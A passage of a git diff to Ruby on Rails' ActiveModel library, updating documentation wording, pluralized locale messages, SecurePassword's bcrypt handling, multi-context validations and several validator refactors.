attribute_changed?(attr) ? changed_attributes[attr] : __send__(attr)
end
private
+ # Removes current changes and makes them accessible through +previous_changes+.
+ def changes_applied
+ @previously_changed = changes
+ @changed_attributes = ActiveSupport::HashWithIndifferentAccess.new
+ end
+
+ # Removes all dirty data: current changes and previous changes
+ def reset_changes
+ @previously_changed = ActiveSupport::HashWithIndifferentAccess.new
+ @changed_attributes = ActiveSupport::HashWithIndifferentAccess.new
+ end
+
# Handle <tt>*_change</tt> for +method_missing+.
def attribute_change(attr)
[changed_attributes[attr], __send__(attr)] if attribute_changed?(attr)
diff --git a/activemodel/lib/active_model/errors.rb b/activemodel/lib/active_model/errors.rb
index 9341f689de..917d3b9142 100644
--- a/activemodel/lib/active_model/errors.rb
+++ b/activemodel/lib/active_model/errors.rb
@@ -7,7 +7,7 @@ module ActiveModel
# == Active \Model \Errors
#
# Provides a modified +Hash+ that you can include in your object
- # for handling error messages and interacting with Action Pack helpers.
+ # for handling error messages and interacting with Action View helpers.
#
# A minimal implementation could be:
#
@@ -23,7 +23,7 @@ module ActiveModel
# attr_reader :errors
#
# def validate!
- # errors.add(:name, "can not be nil") if name == nil
+ # errors.add(:name, "cannot be nil") if name == nil
# end
#
# # The following methods are needed to be minimally implemented
@@ -50,9 +50,9 @@ module ActiveModel
#
# The above allows you to do:
#
- # p = Person.new
- # person.validate! # => ["can not be nil"]
- # person.errors.full_messages # => ["name can not be nil"]
+ # person = Person.new
+ # person.validate! # => ["cannot be nil"]
+ # person.errors.full_messages # => ["name cannot be nil"]
# # etc..
class Errors
include Enumerable
@@ -80,7 +80,7 @@ module ActiveModel
# Clear the error messages.
#
- # person.errors.full_messages # => ["name can not be nil"]
+ # person.errors.full_messages # => ["name cannot be nil"]
# person.errors.clear
# person.errors.full_messages # => []
def clear
@@ -90,19 +90,19 @@ module ActiveModel
# Returns +true+ if the error messages include an error for the given key
# +attribute+, +false+ otherwise.
#
- # person.errors.messages # => {:name=>["can not be nil"]}
+ # person.errors.messages # => {:name=>["cannot be nil"]}
# person.errors.include?(:name) # => true
# person.errors.include?(:age) # => false
def include?(attribute)
- (v = messages[attribute]) && v.any?
+ messages[attribute].present?
end
# aliases include?
alias :has_key? :include?
# Get messages for +key+.
#
- # person.errors.messages # => {:name=>["can not be nil"]}
- # person.errors.get(:name) # => ["can not be nil"]
+ # person.errors.messages # => {:name=>["cannot be nil"]}
+ # person.errors.get(:name) # => ["cannot be nil"]
# person.errors.get(:age) # => nil
def get(key)
messages[key]
@@ -110,7 +110,7 @@ module ActiveModel
# Set messages for +key+ to +value+.
#
- # person.errors.get(:name) # => ["can not be nil"]
+ # person.errors.get(:name) # => ["cannot be nil"]
# person.errors.set(:name, ["can't be nil"])
# person.errors.get(:name) # => ["can't be nil"]
def set(key, value)
@@ -119,8 +119,8 @@ module ActiveModel
# Delete messages for +key+. Returns the deleted messages.
#
- # person.errors.get(:name) # => ["can not be nil"]
- # person.errors.delete(:name) # => ["can not be nil"]
+ # person.errors.get(:name) # => ["cannot be nil"]
+ # person.errors.delete(:name) # => ["cannot be nil"]
# person.errors.get(:name) # => nil
def delete(key)
messages.delete(key)
@@ -129,8 +129,8 @@ module ActiveModel
# When passed a symbol or a name of a method, returns an array of errors
# for the method.
#
- # person.errors[:name] # => ["can not be nil"]
- # person.errors['name'] # => ["can not be nil"]
+ # person.errors[:name] # => ["cannot be nil"]
+ # person.errors['name'] # => ["cannot be nil"]
def [](attribute)
get(attribute.to_sym) || set(attribute.to_sym, [])
end
@@ -175,15 +175,15 @@ module ActiveModel
# Returns all message values.
#
- # person.errors.messages # => {:name=>["can not be nil", "must be specified"]}
- # person.errors.values # => [["can not be nil", "must be specified"]]
+ # person.errors.messages # => {:name=>["cannot be nil", "must be specified"]}
+ # person.errors.values # => [["cannot be nil", "must be specified"]]
def values
messages.values
end
# Returns all message keys.
#
- # person.errors.messages # => {:name=>["can not be nil", "must be specified"]}
+ # person.errors.messages # => {:name=>["cannot be nil", "must be specified"]}
# person.errors.keys # => [:name]
def keys
messages.keys
@@ -211,7 +211,7 @@ module ActiveModel
# Returns +true+ if no errors are found, +false+ otherwise.
# If the error message is a string it can be empty.
#
- # person.errors.full_messages # => ["name can not be nil"]
+ # person.errors.full_messages # => ["name cannot be nil"]
# person.errors.empty? # => false
def empty?
all? { |k, v| v && v.empty? && !v.is_a?(String) }
@@ -238,8 +238,8 @@ module ActiveModel
# object. You can pass the <tt>:full_messages</tt> option. This determines
# if the json object should contain full messages or not (false by default).
#
- # person.as_json # => {:name=>["can not be nil"]}
- # person.as_json(full_messages: true) # => {:name=>["name can not be nil"]}
+ # person.errors.as_json # => {:name=>["cannot be nil"]}
+ # person.errors.as_json(full_messages: true) # => {:name=>["name cannot be nil"]}
def as_json(options=nil)
to_hash(options && options[:full_messages])
end
@@ -247,8 +247,8 @@ module ActiveModel
# Returns a Hash of attributes with their error messages. If +full_messages+
# is +true+, it will contain full messages (see +full_message+).
#
- # person.to_hash # => {:name=>["can not be nil"]}
- # person.to_hash(true) # => {:name=>["name can not be nil"]}
+ # person.errors.to_hash # => {:name=>["cannot be nil"]}
+ # person.errors.to_hash(true) # => {:name=>["name cannot be nil"]}
def to_hash(full_messages = false)
if full_messages
messages = {}
@@ -279,7 +279,7 @@ module ActiveModel
# If +message+ is a proc, it will be called, allowing for things like
# <tt>Time.now</tt> to be used within an error.
#
- # If the <tt>:strict</tt> option is set to true will raise
+ # If the <tt>:strict</tt> option is set to +true+, it will raise
# ActiveModel::StrictValidationFailed instead of adding the error.
# <tt>:strict</tt> option can also be set to any other exception.
#
@@ -289,6 +289,13 @@ module ActiveModel
# # => NameIsInvalid: name is invalid
#
# person.errors.messages # => {}
+ #
+ # +attribute+ should be set to <tt>:base</tt> if the error is not
+ # directly associated with a single attribute.
+ #
+ # person.errors.add(:base, "either name or email must be present")
+ # person.errors.messages
+ # # => {:base=>["either name or email must be present"]}
def add(attribute, message = :invalid, options = {})
message = normalize_message(attribute, message, options)
if exception = options[:strict]
diff --git a/activemodel/lib/active_model/gem_version.rb b/activemodel/lib/active_model/gem_version.rb
new file mode 100644
index 0000000000..964b24398d
--- /dev/null
+++ b/activemodel/lib/active_model/gem_version.rb
@@ -0,0 +1,15 @@
+module ActiveModel
+ # Returns the version of the currently loaded ActiveModel as a <tt>Gem::Version</tt>
+ def self.gem_version
+ Gem::Version.new VERSION::STRING
+ end
+
+ module VERSION
+ MAJOR = 4
+ MINOR = 2
+ TINY = 0
+ PRE = "alpha"
+
+ STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+ end
+end
diff --git a/activemodel/lib/active_model/lint.rb b/activemodel/lib/active_model/lint.rb
index 46b446dc08..c6bc18b008 100644
--- a/activemodel/lib/active_model/lint.rb
+++ b/activemodel/lib/active_model/lint.rb
@@ -13,7 +13,7 @@ module ActiveModel
#
# These tests do not attempt to determine the semantic correctness of the
# returned values. For instance, you could implement <tt>valid?</tt> to
- # always return true, and the tests would pass. It is up to you to ensure
+ # always return +true+, and the tests would pass. It is up to you to ensure
# that the values are semantically meaningful.
#
# Objects you pass in are expected to return a compliant object from a call
diff --git a/activemodel/lib/active_model/locale/en.yml b/activemodel/lib/active_model/locale/en.yml
index 540e8132d3..bf07945fe1 100644
--- a/activemodel/lib/active_model/locale/en.yml
+++ b/activemodel/lib/active_model/locale/en.yml
@@ -14,9 +14,15 @@ en:
empty: "can't be empty"
blank: "can't be blank"
present: "must be blank"
- too_long: "is too long (maximum is %{count} characters)"
- too_short: "is too short (minimum is %{count} characters)"
- wrong_length: "is the wrong length (should be %{count} characters)"
+ too_long:
+ one: "is too long (maximum is 1 character)"
+ other: "is too long (maximum is %{count} characters)"
+ too_short:
+ one: "is too short (minimum is 1 character)"
+ other: "is too short (minimum is %{count} characters)"
+ wrong_length:
+ one: "is the wrong length (should be 1 character)"
+ other: "is the wrong length (should be %{count} characters)"
not_a_number: "is not a number"
not_an_integer: "must be an integer"
greater_than: "must be greater than %{count}"
diff --git a/activemodel/lib/active_model/model.rb b/activemodel/lib/active_model/model.rb
index f048dda5c6..63716eebb1 100644
--- a/activemodel/lib/active_model/model.rb
+++ b/activemodel/lib/active_model/model.rb
@@ -1,6 +1,6 @@
module ActiveModel
- # == Active \Model Basic \Model
+ # == Active \Model \Basic \Model
#
# Includes the required interface for an object to interact with
# <tt>ActionPack</tt>, using different <tt>ActiveModel</tt> modules.
diff --git a/activemodel/lib/active_model/naming.rb b/activemodel/lib/active_model/naming.rb
index bc9edf4a56..11ebfe6cc0 100644
--- a/activemodel/lib/active_model/naming.rb
+++ b/activemodel/lib/active_model/naming.rb
@@ -262,10 +262,10 @@ module ActiveModel
# namespaced models regarding whether it's inside isolated engine.
#
# # For isolated engine:
- # ActiveModel::Naming.singular_route_key(Blog::Post) #=> post
+ # ActiveModel::Naming.singular_route_key(Blog::Post) # => "post"
#
# # For shared engine:
- # ActiveModel::Naming.singular_route_key(Blog::Post) #=> blog_post
+ # ActiveModel::Naming.singular_route_key(Blog::Post) # => "blog_post"
def self.singular_route_key(record_or_class)
model_name_from_record_or_class(record_or_class).singular_route_key
end
@@ -274,10 +274,10 @@ module ActiveModel
# namespaced models regarding whether it's inside isolated engine.
#
# # For isolated engine:
- # ActiveModel::Naming.route_key(Blog::Post) #=> posts
+ # ActiveModel::Naming.route_key(Blog::Post) # => "posts"
#
# # For shared engine:
- # ActiveModel::Naming.route_key(Blog::Post) #=> blog_posts
+ # ActiveModel::Naming.route_key(Blog::Post) # => "blog_posts"
#
# The route key also considers if the noun is uncountable and, in
# such cases, automatically appends _index.
@@ -289,10 +289,10 @@ module ActiveModel
# namespaced models regarding whether it's inside isolated engine.
#
# # For isolated engine:
- # ActiveModel::Naming.param_key(Blog::Post) #=> post
+ # ActiveModel::Naming.param_key(Blog::Post) # => "post"
#
# # For shared engine:
- # ActiveModel::Naming.param_key(Blog::Post) #=> blog_post
+ # ActiveModel::Naming.param_key(Blog::Post) # => "blog_post"
def self.param_key(record_or_class)
model_name_from_record_or_class(record_or_class).param_key
end
diff --git a/activemodel/lib/active_model/secure_password.rb b/activemodel/lib/active_model/secure_password.rb
index 7156f1bb30..826e89bf9d 100644
--- a/activemodel/lib/active_model/secure_password.rb
+++ b/activemodel/lib/active_model/secure_password.rb
@@ -2,12 +2,14 @@ module ActiveModel
module SecurePassword
extend ActiveSupport::Concern
- class << self; attr_accessor :min_cost; end
+ class << self
+ attr_accessor :min_cost # :nodoc:
+ end
self.min_cost = false
module ClassMethods
# Adds methods to set and authenticate against a BCrypt password.
- # This mechanism requires you to have a password_digest attribute.
+ # This mechanism requires you to have a +password_digest+ attribute.
#
# Validations for presence of password on create, confirmation of password
# (using a +password_confirmation+ attribute) are automatically added. If
@@ -18,9 +20,9 @@ module ActiveModel
# value to the password_confirmation attribute and the validation
# will not be triggered.
#
- # You need to add bcrypt-ruby (~> 3.0.0) to Gemfile to use #has_secure_password:
+ # You need to add bcrypt (~> 3.1.7) to Gemfile to use #has_secure_password:
#
- # gem 'bcrypt-ruby', '~> 3.0.0'
+ # gem 'bcrypt', '~> 3.1.7'
#
# Example using Active Record (which automatically includes ActiveModel::SecurePassword):
#
@@ -40,14 +42,13 @@ module ActiveModel
# User.find_by(name: 'david').try(:authenticate, 'notright') # => false
# User.find_by(name: 'david').try(:authenticate, 'mUc3m00RsqyRe') # => user
def has_secure_password(options = {})
- # Load bcrypt-ruby only when has_secure_password is used.
+ # Load bcrypt gem only when has_secure_password is used.
# This is to avoid ActiveModel (and by extension the entire framework)
# being dependent on a binary library.
begin
- gem 'bcrypt-ruby', '~> 3.0.0'
require 'bcrypt'
rescue LoadError
- $stderr.puts "You don't have bcrypt-ruby installed in your application. Please add it to your Gemfile and run bundle install"
+ $stderr.puts "You don't have bcrypt installed in your application. Please add it to your Gemfile and run bundle install"
raise
end
@@ -56,11 +57,15 @@ module ActiveModel
include InstanceMethodsOnActivation
if options.fetch(:validations, true)
- validates_confirmation_of :password, if: lambda { |m| m.password.present? }
- validates_presence_of :password, on: :create
- validates_presence_of :password_confirmation, if: lambda { |m| m.password.present? }
+ # This ensures the model has a password by checking whether the password_digest
+ # is present, so that this works with both new and existing records. However,
+ # when there is an error, the message is added to the password attribute instead
+ # so that the error message will make sense to the end-user.
+ validate do |record|
+ record.errors.add(:password, :blank) unless record.password_digest.present?
+ end
- before_create { raise "Password digest missing on new record" if password_digest.blank? }
+ validates_confirmation_of :password, if: ->{ password.present? }
end
if respond_to?(:attributes_protected_by_default)
@@ -99,9 +104,11 @@ module ActiveModel
# user.password = 'mUc3m00RsqyRe'
# user.password_digest # => "$2a$10$4LEA7r4YmNHtvlAvHhsYAeZmk/xeUVtMTYqwIvYY76EW5GUqDiP4."
def password=(unencrypted_password)
- unless unencrypted_password.blank?
+ if unencrypted_password.nil?
+ self.password_digest = nil
+ elsif unencrypted_password.present?
@password = unencrypted_password
- cost = ActiveModel::SecurePassword.min_cost ? BCrypt::Engine::MIN_COST : BCrypt::Engine::DEFAULT_COST
+ cost = ActiveModel::SecurePassword.min_cost ? BCrypt::Engine::MIN_COST : BCrypt::Engine.cost
self.password_digest = BCrypt::Password.create(unencrypted_password, cost: cost)
end
end
diff --git a/activemodel/lib/active_model/serialization.rb b/activemodel/lib/active_model/serialization.rb
index fdb06aebb9..36a6c00290 100644
--- a/activemodel/lib/active_model/serialization.rb
+++ b/activemodel/lib/active_model/serialization.rb
@@ -128,7 +128,7 @@ module ActiveModel
# retrieve the value for a given attribute differently:
#
# class MyClass
- # include ActiveModel::Validations
+ # include ActiveModel::Serialization
#
# def initialize(data = {})
# @data = data
diff --git a/activemodel/lib/active_model/serializers/json.rb b/activemodel/lib/active_model/serializers/json.rb
index 05e2e089e5..c58e73f6a7 100644
--- a/activemodel/lib/active_model/serializers/json.rb
+++ b/activemodel/lib/active_model/serializers/json.rb
@@ -2,7 +2,7 @@ require 'active_support/json'
module ActiveModel
module Serializers
- # == Active Model JSON Serializer
+ # == Active \Model \JSON \Serializer
module JSON
extend ActiveSupport::Concern
include ActiveModel::Serialization
diff --git a/activemodel/lib/active_model/serializers/xml.rb b/activemodel/lib/active_model/serializers/xml.rb
index 2803f69b6f..7f99536dbb 100644
--- a/activemodel/lib/active_model/serializers/xml.rb
+++ b/activemodel/lib/active_model/serializers/xml.rb
@@ -1,4 +1,4 @@
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/array/conversions'
require 'active_support/core_ext/hash/conversions'
require 'active_support/core_ext/hash/slice'
@@ -205,7 +205,7 @@ module ActiveModel
Serializer.new(self, options).serialize(&block)
end
- # Sets the model +attributes+ from a JSON string. Returns +self+.
+ # Sets the model +attributes+ from an XML string. Returns +self+.
#
# class Person
# include ActiveModel::Serializers::Xml
diff --git a/activemodel/lib/active_model/validations.rb b/activemodel/lib/active_model/validations.rb
index 31c2245265..cf97f45dba 100644
--- a/activemodel/lib/active_model/validations.rb
+++ b/activemodel/lib/active_model/validations.rb
@@ -4,7 +4,7 @@ require 'active_support/core_ext/hash/except'
module ActiveModel
- # == Active \Model Validations
+ # == Active \Model \Validations
#
# Provides a full validation framework to your objects.
#
@@ -66,8 +66,10 @@ module ActiveModel
# end
#
# Options:
- # * <tt>:on</tt> - Specifies the context where this validation is active
- # (e.g. <tt>on: :create</tt> or <tt>on: :custom_validation_context</tt>)
+ # * <tt>:on</tt> - Specifies the contexts where this validation is active.
+ # You can pass a symbol or an array of symbols.
+ # (e.g. <tt>on: :create</tt> or <tt>on: :custom_validation_context</tt> or
+ # <tt>on: [:create, :custom_validation_context]</tt>)
# * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
# * <tt>:allow_blank</tt> - Skip validation if attribute is blank.
# * <tt>:if</tt> - Specifies a method, proc or string to call to determine
@@ -124,10 +126,10 @@ module ActiveModel
# end
#
# Options:
- # * <tt>:on</tt> - Specifies the context where this validation is active
- # (e.g. <tt>on: :create</tt> or <tt>on: :custom_validation_context</tt>)
- # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
- # * <tt>:allow_blank</tt> - Skip validation if attribute is blank.
+ # * <tt>:on</tt> - Specifies the contexts where this validation is active.
+ # You can pass a symbol or an array of symbols.
+ # (e.g. <tt>on: :create</tt> or <tt>on: :custom_validation_context</tt> or
+ # <tt>on: [:create, :custom_validation_context]</tt>)
# * <tt>:if</tt> - Specifies a method, proc or string to call to determine
# if the validation should occur (e.g. <tt>if: :allow_validation</tt>,
# or <tt>if: Proc.new { |user| user.signup_step > 2 }</tt>). The method,
@@ -143,7 +145,7 @@ module ActiveModel
options = options.dup
options[:if] = Array(options[:if])
options[:if].unshift lambda { |o|
- o.validation_context == options[:on]
+ Array(options[:on]).include?(o.validation_context)
}
end
args << options
@@ -199,12 +201,12 @@ module ActiveModel
# # #<StrictValidator:0x007fbff3204a30 @options={strict:true}>
# # ]
#
- # If one runs Person.clear_validators! and then checks to see what
+ # If one runs <tt>Person.clear_validators!</tt> and then checks to see what
# validators this class has, you would obtain:
#
# Person.validators # => []
#
- # Also, the callback set by +validate :cannot_be_robot+ will be erased
+ # Also, the callback set by <tt>validate :cannot_be_robot</tt> will be erased
# so that:
#
# Person._validate_callbacks.empty? # => true
@@ -283,6 +285,8 @@ module ActiveModel
# Runs all the specified validations and returns +true+ if no errors were
# added otherwise +false+.
#
+ # Aliased as validate.
+ #
# class Person
# include ActiveModel::Validations
#
@@ -317,6 +321,8 @@ module ActiveModel
self.validation_context = current_context
end
+ alias_method :validate, :valid?
+
# Performs the opposite of <tt>valid?</tt>. Returns +true+ if errors were
# added, +false+ otherwise.
#
diff --git a/activemodel/lib/active_model/validations/absence.rb b/activemodel/lib/active_model/validations/absence.rb
index 1a1863370b..9b5416fb1d 100644
--- a/activemodel/lib/active_model/validations/absence.rb
+++ b/activemodel/lib/active_model/validations/absence.rb
@@ -21,7 +21,7 @@ module ActiveModel
# * <tt>:message</tt> - A custom error message (default is: "must be blank").
#
# There is also a list of default options supported by every validator:
- # +:if+, +:unless+, +:on+ and +:strict+.
+ # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
# See <tt>ActiveModel::Validation#validates</tt> for more information
def validates_absence_of(*attr_names)
validates_with AbsenceValidator, _merge_attributes(attr_names)
diff --git a/activemodel/lib/active_model/validations/acceptance.rb b/activemodel/lib/active_model/validations/acceptance.rb
index 139de16326..ac5e79859b 100644
--- a/activemodel/lib/active_model/validations/acceptance.rb
+++ b/activemodel/lib/active_model/validations/acceptance.rb
@@ -38,8 +38,6 @@ module ActiveModel
# Configuration options:
# * <tt>:message</tt> - A custom error message (default is: "must be
# accepted").
- # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+ (default
- # is +true+).
# * <tt>:accept</tt> - Specifies value that is considered accepted.
# The default value is a string "1", which makes it easy to relate to
# an HTML checkbox. This should be set to +true+ if you are validating
@@ -47,8 +45,8 @@ module ActiveModel
# before validation.
#
# There is also a list of default options supported by every validator:
- # +:if+, +:unless+, +:on+ and +:strict+.
- # See <tt>ActiveModel::Validation#validates</tt> for more information
+ # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
+ # See <tt>ActiveModel::Validation#validates</tt> for more information.
def validates_acceptance_of(*attr_names)
validates_with AcceptanceValidator, _merge_attributes(attr_names)
end
diff --git a/activemodel/lib/active_model/validations/callbacks.rb b/activemodel/lib/active_model/validations/callbacks.rb
index cabb9482f2..edfffdd3ce 100644
--- a/activemodel/lib/active_model/validations/callbacks.rb
+++ b/activemodel/lib/active_model/validations/callbacks.rb
@@ -1,6 +1,6 @@
module ActiveModel
module Validations
- # == Active \Model Validation Callbacks
+ # == Active \Model \Validation \Callbacks
#
# Provides an interface for any class to have +before_validation+ and
# +after_validation+ callbacks.
@@ -58,7 +58,9 @@ module ActiveModel
if options.is_a?(Hash) && options[:on]
options[:if] = Array(options[:if])
options[:on] = Array(options[:on])
- options[:if].unshift("#{options[:on]}.include? self.validation_context")
+ options[:if].unshift lambda { |o|
+ options[:on].include? o.validation_context
+ }
end
set_callback(:validation, :before, *args, &block)
end
diff --git a/activemodel/lib/active_model/validations/clusivity.rb b/activemodel/lib/active_model/validations/clusivity.rb
index c5aacb010a..bad9e4f9a9 100644
--- a/activemodel/lib/active_model/validations/clusivity.rb
+++ b/activemodel/lib/active_model/validations/clusivity.rb
@@ -15,27 +15,36 @@ module ActiveModel
private
def include?(record, value)
- exclusions = if delimiter.respond_to?(:call)
- delimiter.call(record)
- elsif delimiter.respond_to?(:to_sym)
- record.send(delimiter)
- else
- delimiter
- end
+ members = if delimiter.respond_to?(:call)
+ delimiter.call(record)
+ elsif delimiter.respond_to?(:to_sym)
+ record.send(delimiter)
+ else
+ delimiter
+ end
- exclusions.send(inclusion_method(exclusions), value)
+ members.send(inclusion_method(members), value)
end
def delimiter
@delimiter ||= options[:in] || options[:within]
end
- # In Ruby 1.9 <tt>Range#include?</tt> on non-numeric ranges checks all possible values in the
- # range for equality, which is slower but more accurate. <tt>Range#cover?</tt> uses
- # the previous logic of comparing a value with the range endpoints, which is fast
- # but is only accurate on numeric ranges.
+ # In Ruby 1.9 <tt>Range#include?</tt> on non-number-or-time-ish ranges checks all
+ # possible values in the range for equality, which is slower but more accurate.
+ # <tt>Range#cover?</tt> uses the previous logic of comparing a value with the range
+ # endpoints, which is fast but is only accurate on Numeric, Time, or DateTime ranges.
def inclusion_method(enumerable)
- (enumerable.is_a?(Range) && enumerable.first.is_a?(Numeric)) ? :cover? : :include?
+ if enumerable.is_a? Range
+ case enumerable.first
+ when Numeric, Time, DateTime
+ :cover?
+ else
+ :include?
+ end
+ else
+ :include?
+ end
end
end
end
diff --git a/activemodel/lib/active_model/validations/confirmation.rb b/activemodel/lib/active_model/validations/confirmation.rb
index b0542661af..a51523912f 100644
--- a/activemodel/lib/active_model/validations/confirmation.rb
+++ b/activemodel/lib/active_model/validations/confirmation.rb
@@ -57,7 +57,7 @@ module ActiveModel
# confirmation").
#
# There is also a list of default options supported by every validator:
- # +:if+, +:unless+, +:on+ and +:strict+.
+ # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
# See <tt>ActiveModel::Validation#validates</tt> for more information
def validates_confirmation_of(*attr_names)
validates_with ConfirmationValidator, _merge_attributes(attr_names)
diff --git a/activemodel/lib/active_model/validations/exclusion.rb b/activemodel/lib/active_model/validations/exclusion.rb
index 48bf5cd802..f342d27275 100644
--- a/activemodel/lib/active_model/validations/exclusion.rb
+++ b/activemodel/lib/active_model/validations/exclusion.rb
@@ -34,13 +34,9 @@ module ActiveModel
# <tt>Range#cover?</tt>, otherwise with <tt>include?</tt>.
# * <tt>:message</tt> - Specifies a custom error message (default is: "is
# reserved").
- # * <tt>:allow_nil</tt> - If set to true, skips this validation if the
- # attribute is +nil+ (default is +false+).
- # * <tt>:allow_blank</tt> - If set to true, skips this validation if the
- # attribute is blank(default is +false+).
#
# There is also a list of default options supported by every validator:
- # +:if+, +:unless+, +:on+ and +:strict+.
+ # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
# See <tt>ActiveModel::Validation#validates</tt> for more information
def validates_exclusion_of(*attr_names)
validates_with ExclusionValidator, _merge_attributes(attr_names)
diff --git a/activemodel/lib/active_model/validations/format.rb b/activemodel/lib/active_model/validations/format.rb
index be7cae588f..ff3e95da34 100644
--- a/activemodel/lib/active_model/validations/format.rb
+++ b/activemodel/lib/active_model/validations/format.rb
@@ -17,8 +17,8 @@ module ActiveModel
raise ArgumentError, "Either :with or :without must be supplied (but not both)"
end
- check_options_validity(options, :with)
- check_options_validity(options, :without)
+ check_options_validity :with
+ check_options_validity :without
end
private
@@ -32,21 +32,23 @@ module ActiveModel
record.errors.add(attribute, :invalid, options.except(name).merge!(value: value))
end
- def regexp_using_multiline_anchors?(regexp)
- regexp.source.start_with?("^") ||
- (regexp.source.end_with?("$") && !regexp.source.end_with?("\\$"))
+ def check_options_validity(name)
+ if option = options[name]
+ if option.is_a?(Regexp)
+ if options[:multiline] != true && regexp_using_multiline_anchors?(option)
+ raise ArgumentError, "The provided regular expression is using multiline anchors (^ or $), " \
+ "which may present a security risk. Did you mean to use \\A and \\z, or forgot to add the " \
+ ":multiline => true option?"
+ end
+ elsif !option.respond_to?(:call)
+ raise ArgumentError, "A regular expression or a proc or lambda must be supplied as :#{name}"
+ end
+ end
end
- def check_options_validity(options, name)
- option = options[name]
- if option && !option.is_a?(Regexp) && !option.respond_to?(:call)
- raise ArgumentError, "A regular expression or a proc or lambda must be supplied as :#{name}"
- elsif option && option.is_a?(Regexp) &&
- regexp_using_multiline_anchors?(option) && options[:multiline] != true
- raise ArgumentError, "The provided regular expression is using multiline anchors (^ or $), " \
- "which may present a security risk. Did you mean to use \\A and \\z, or forgot to add the " \
- ":multiline => true option?"
- end
+ def regexp_using_multiline_anchors?(regexp)
+ source = regexp.source
+ source.start_with?("^") || (source.end_with?("$") && !source.end_with?("\\$"))
end
end
@@ -89,10 +91,6 @@ module ActiveModel
#
# Configuration options:
# * <tt>:message</tt> - A custom error message (default is: "is invalid").
- # * <tt>:allow_nil</tt> - If set to true, skips this validation if the
- # attribute is +nil+ (default is +false+).
- # * <tt>:allow_blank</tt> - If set to true, skips this validation if the
- # attribute is blank (default is +false+).
# * <tt>:with</tt> - Regular expression that if the attribute matches will
# result in a successful validation. This can be provided as a proc or
# lambda returning regular expression which will be called at runtime.
@@ -105,7 +103,7 @@ module ActiveModel
# beginning or end of the string. These anchors are <tt>^</tt> and <tt>$</tt>.
#
# There is also a list of default options supported by every validator:
- # +:if+, +:unless+, +:on+ and +:strict+.
+ # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
# See <tt>ActiveModel::Validation#validates</tt> for more information
def validates_format_of(*attr_names)
validates_with FormatValidator, _merge_attributes(attr_names)
diff --git a/activemodel/lib/active_model/validations/inclusion.rb b/activemodel/lib/active_model/validations/inclusion.rb
index 24337614c5..c84025f083 100644
--- a/activemodel/lib/active_model/validations/inclusion.rb
+++ b/activemodel/lib/active_model/validations/inclusion.rb
@@ -29,17 +29,14 @@ module ActiveModel
# * <tt>:in</tt> - An enumerable object of available items. This can be
# supplied as a proc, lambda or symbol which returns an enumerable. If the
# enumerable is a numerical range the test is performed with <tt>Range#cover?</tt>,
- # otherwise with <tt>include?</tt>.
+ # otherwise with <tt>include?</tt>. When using a proc or lambda the instance
+ # under validation is passed as an argument.
# * <tt>:within</tt> - A synonym(or alias) for <tt>:in</tt>
# * <tt>:message</tt> - Specifies a custom error message (default is: "is
# not included in the list").
- # * <tt>:allow_nil</tt> - If set to +true+, skips this validation if the
- # attribute is +nil+ (default is +false+).
- # * <tt>:allow_blank</tt> - If set to +true+, skips this validation if the
- # attribute is blank (default is +false+).
#
# There is also a list of default options supported by every validator:
- # +:if+, +:unless+, +:on+ and +:strict+.
+ # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
# See <tt>ActiveModel::Validation#validates</tt> for more information
def validates_inclusion_of(*attr_names)
validates_with InclusionValidator, _merge_attributes(attr_names)
diff --git a/activemodel/lib/active_model/validations/length.rb b/activemodel/lib/active_model/validations/length.rb
index ddfd8a342e..a96b30cadd 100644
--- a/activemodel/lib/active_model/validations/length.rb
+++ b/activemodel/lib/active_model/validations/length.rb
@@ -1,6 +1,6 @@
module ActiveModel
- # == Active \Model Length \Validator
+ # == Active \Model Length Validator
module Validations
class LengthValidator < EachValidator # :nodoc:
MESSAGES = { is: :wrong_length, minimum: :too_short, maximum: :too_long }.freeze
diff --git a/activemodel/lib/active_model/validations/numericality.rb b/activemodel/lib/active_model/validations/numericality.rb
index c6abe45f4a..a9fb9804d4 100644
--- a/activemodel/lib/active_model/validations/numericality.rb
+++ b/activemodel/lib/active_model/validations/numericality.rb
@@ -11,8 +11,9 @@ module ActiveModel
def check_validity!
keys = CHECKS.keys - [:odd, :even]
options.slice(*keys).each do |option, value|
- next if value.is_a?(Numeric) || value.is_a?(Proc) || value.is_a?(Symbol)
- raise ArgumentError, ":#{option} must be a number, a symbol or a proc"
+ unless value.is_a?(Numeric) || value.is_a?(Proc) || value.is_a?(Symbol)
+ raise ArgumentError, ":#{option} must be a number, a symbol or a proc"
+ end
end
end
@@ -43,11 +44,15 @@ module ActiveModel
record.errors.add(attr_name, option, filtered_options(value))
end
else
- option_value = option_value.call(record) if option_value.is_a?(Proc)
- option_value = record.send(option_value) if option_value.is_a?(Symbol)
+ case option_value
+ when Proc
+ option_value = option_value.call(record)
+ when Symbol
+ option_value = record.send(option_value)
+ end
unless value.send(CHECKS[option], option_value)
- record.errors.add(attr_name, option, filtered_options(value).merge(count: option_value))
+ record.errors.add(attr_name, option, filtered_options(value).merge!(count: option_value))
end
end
end
@@ -56,16 +61,9 @@ module ActiveModel
protected
def parse_raw_value_as_a_number(raw_value)
- case raw_value
- when /\A0[xX]/
- nil
- else
- begin
- Kernel.Float(raw_value)
- rescue ArgumentError, TypeError
- nil
- end
- end
+ Kernel.Float(raw_value) if raw_value !~ /\A0[xX]/
+ rescue ArgumentError, TypeError
+ nil
end
def parse_raw_value_as_an_integer(raw_value)
@@ -73,7 +71,9 @@ module ActiveModel
end
def filtered_options(value)
- options.except(*RESERVED_OPTIONS).merge!(value: value)
+ filtered = options.except(*RESERVED_OPTIONS)
+ filtered[:value] = value
+ filtered
end
end
@@ -110,7 +110,7 @@ module ActiveModel
# * <tt>:even</tt> - Specifies the value must be an even number.
#
# There is also a list of default options supported by every validator:
- # +:if+, +:unless+, +:on+ and +:strict+ .
